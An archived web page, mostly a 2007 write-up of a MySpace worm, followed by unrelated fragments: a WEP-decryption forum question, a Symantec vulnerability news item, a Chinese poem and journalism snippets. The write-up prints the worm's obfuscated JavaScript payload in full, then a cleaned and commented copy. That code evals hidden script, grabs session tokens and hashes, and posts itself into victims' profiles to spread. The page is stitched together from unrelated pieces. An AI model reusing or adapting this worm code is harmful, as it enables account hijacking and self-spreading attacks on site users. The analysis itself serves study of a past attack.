2007 Myspace Hack Archive

archived just in case from  http://kinematictheory.phpnet.us/]

How the myspace SWF hack worked

First note: I DID NOT MAKE THE HACK. I simply downloaded the .swf’s, decompiled them, looked at the actionscript, worked out what it did, found the Javascript that it uses, and tidied it up & commented it. I’ve probably got some bits wrong, feel free to contact me and I’ll update this page

When you visited an already infected page, there was an SWF embedded (“redirect.swf”) which contained the actionscript:

getURL(“http://editprofile.myspace.com/index.cfm?fuseaction=blog.view&friendID=93634373&blogID=144877075”, “_self”);

Which is pretty self explanatory – it opened the blog URL which you got redirected to.

On the blog url which you got redirected to, there was another SWF embedded, called “retrievecookie.swf”. This contained:


getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\'
\')!=-1)||(sc.indexOf(\'-XXX\')!=-1)){var n=sc.indexOf(\'
\');if(n==-1)n=sc.indexOf(\'-XXX\');sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};" + "eval(sc);}};" + "x.send(null);", "");

Which looks pretty obfuscated, however, when you space it out and add comments:

getURL("
javas\n\r
cript:
//this translates in the browser to: "javascript:"
//which myspace really should have blocked now.
var x = new ActiveXObject(\'Msxml2.XMLHTTP\');
// loads a new xmlHTTP object, sets it as var "x"
x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);
// This opens yet another blog post, at the URL above. The text of the URL is below
x.onreadystatechange = function()
// when the readystate of the xmlHTTP object changes:
{
if (x.readyState==4)
// once the state changes to complete (it goes from 0 to 4, iirc)
{
var pg = x.responseText;
// the code it got from the page
var sc = pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));
// loads into "sc" the contents of the response text from the place where
// the end of "BX-" (that's the +3) is first encountered up until it finds the start of
// "-EX", this is all the nasty JS.
while ( (sc.indexOf(\'
\')!=-1) || (sc.indexOf(\'-XXX\')!=-1) )
// while "sc" (the code) doesn't contain "
" or "-XXX" then:
{
var n=sc.indexOf(\'
\');
// n is the start of where it finds "
" in "sc"
if (n==-1)
n=sc.indexOf(\'-XXX\');
// if it cant find "
, then make n where it can find "-XXX"

// thist bit next was really quite clever, it manages to keep the > closing bracket for
// the embed tag, which it needs, and creates the embed tag by removing
// XXX's and leaving the final character!
sc = sc.substring(0,n)+sc.substring(n+5,sc.length);
// sc is now from the start, to n.
// then add on to sc the bit from n+5 to the end of sc,
// essentially, this cuts out the crap from the blog post it pull.
// the crap was in there in the first place to get past myspace's filters, I presume.
};
// this iterates through and removes the -XXX's from the blog post
" + "eval(sc);
// evaluate "sc" - this is what does it all.
} // end of readystate==4 "if"
}; //end of function
" //closing the quote from the SWF getURL() function
+
"
x.send(null);
// adds on sending "null" to the xmlHTTP object.
", ""
// no target, so it just executes.
);// end of SWF getURL function.

In essence, it pulls a blog post from somewhere else on myspace, and evaluates the code that it contains.

This is the post:


BX-var msg='-XXXX
XE-XXXXM-XXXXB-XXXXE-XXXXD-XXXX src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS';function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){ Q=Q.replace('+', '%2B')}while(Q.indexOf('&')!=-1){ Q=Q.replace('&', '%26')}N+=P+'='+Q;O++ } return N};function getToken(page){ var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token;};function getHashCode(page){ var start = page.indexOf('name="hash" value="'); hash = page.substring(start+19, start+19+216); return hash;};var xmlht-XXXXtp = x;var post = new Array();post['submit']='Preview';post['interest']=msg;post['interestLabel']='aboutme';var postsz = paramsToString(post); var token = getToken(xmlhttp.responseText);xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);ev-XXXXal('xmlhttp.onreadys-XXXXtatechange=editReady;');xmlhttp.send(postsz);function editReady(){if (xmlhttp.readyState==4){post = new Array();post['submit']='Submit';post['hash']=getHashCode(xmlhttp.responseText);post['interest']=msg;post['interestLabel']='aboutme';postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);xmlhttp.send(postsz);}};-EX

Tidied up (and -XXX’s, etc) removed + commented:


var msg='<EMBED src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS';
// the message itself.
function paramsToString (AV)
{
var N=new String();
var O=0;
for (var P in AV)
{
if (O>0)
{
N+='&'
// if it's not the first iteration, add "&" to the value, as to seperate the values.
}

var Q=escape(AV[P]);

while (Q.indexOf('+')!=-1)
{
Q=Q.replace('+', '%2B')
//replaec "+" with "%2B" - url encoding basically
}
while (Q.indexOf('&')!=-1)
{
Q=Q.replace('&', '%26')
// same again, except for "&".
}
N+= P + '=' + Q;
O++
}
return N
};
// this turns a list of parameters in an array into a URL encoding string.

function getToken (page)
{
var start = page.indexOf('Mytoken=');
token = page.substring(start+8, start+8+36);
return token;
};
// gets your token, since you're on myspace already, your token is (unfortunately) in the URL.. oops.

function getHashCode (page)
{
var start = page.indexOf('name="hash" value="');
hash = page.substring(start+19, start+19+216);
return hash;
};
// gets your hash code, which is supposed to be a security measure
// again, since you're on myspace.com - it's in the URL. Nice one myspace.

var xmlhttp = x;
var post = new Array();
post['submit']='Preview';
post['interest']=msg;
post['interestLabel']='aboutme';
// loads the payload (the "msg" var), and other bits into an array called "post"
var postsz = paramsToString(post);
// from the functione arlier, turns the "post" array into a string.
var token = getToken(xmlhttp.responseText);
// gets your token
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
// new xmlHTTp object.
xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token,true);
// opens the profile interest modifcation .. bit through a xmlHTTP object.

xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// sends a HTTP header, which is that it's about to send a url encoded form.
xmlhttp.setRequestHeader('Content-Length', postsz.length);
eval('xmlhttp.onreadystatechange=editReady;');
// evaluates the function below when the readystate changes.
xmlhttp.send(postsz);
// sends it - which modifies your profile to include the contents of the msg var
function editReady()
{
if (xmlhttp.readyState==4)
{
post = new Array();
post['submit']='Submit';
post['hash']=getHashCode(xmlhttp.responseText);
post['interest']=msg;
post['interestLabel']='aboutme';
postsz = paramsToString(post);
token = getToken(xmlhttp.responseText);
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
xmlhttp.open('POST','http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken='+token,true); xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.setRequestHeader('Content-Length', postsz.length);
xmlhttp.send(postsz);
}
};

Which is then all evaluated by the first load of JS.

So there you have it.

Email me if you like:

PS: To the author, that’s some clever code, nice one – I probably shouldn’t be congratulating you, but hey.

Decrypting Wireless Packets

nbsp;http://www.kismetwireless.net/Forum/Gene…

If I’ve used kismet to create a dump file (full packet capture) with WEP encrypted data and then later learn the WEP key, how can I can I apply this key (and BSID) to decrypt the data?

Top 2007 Symantec Vulnerabilities


MAY 25, 2006 | EEye Digital Security revealed this afternoon a software vulnerability inside Symantec’s Anti-Virus Corporate Edition 10.0.

The vulnerability warning, posted on the vendor’s Upcoming Advisories page, requires no user intervention and could be used to create a worm. A Symantec representative told Dark Reading that eEye notified Symantec of the problem today and it is investigating the issue.

Thinking like the enemy?

Years in the vulnerability management space has taught me that companies can protect themselves by thinking like the attackers. This message seems to be broad in application and a recent anti-terrorism expert voiced the same thought.

Yet this story has the anti virus industry up in arms for a consumer protection agency doing just that. The list of those opposed is impressive but obviously biased. The people who signed all have a financial stake in the game. I’m more interested in what those who are unbiased think of the situation.

山中送别

山中相送罢
日暮掩柴扉
春草明年绿
王孙归不归

China Net Eyes

Author
The field of journalism is vast, so there is a lot that we can talk about. But usually the third last sentence that we say with a degree of resignation is this: “We can’t publish that. So we won’t discuss that.”

2007年中国博客市场调查报告


RSF-blogger-handbook2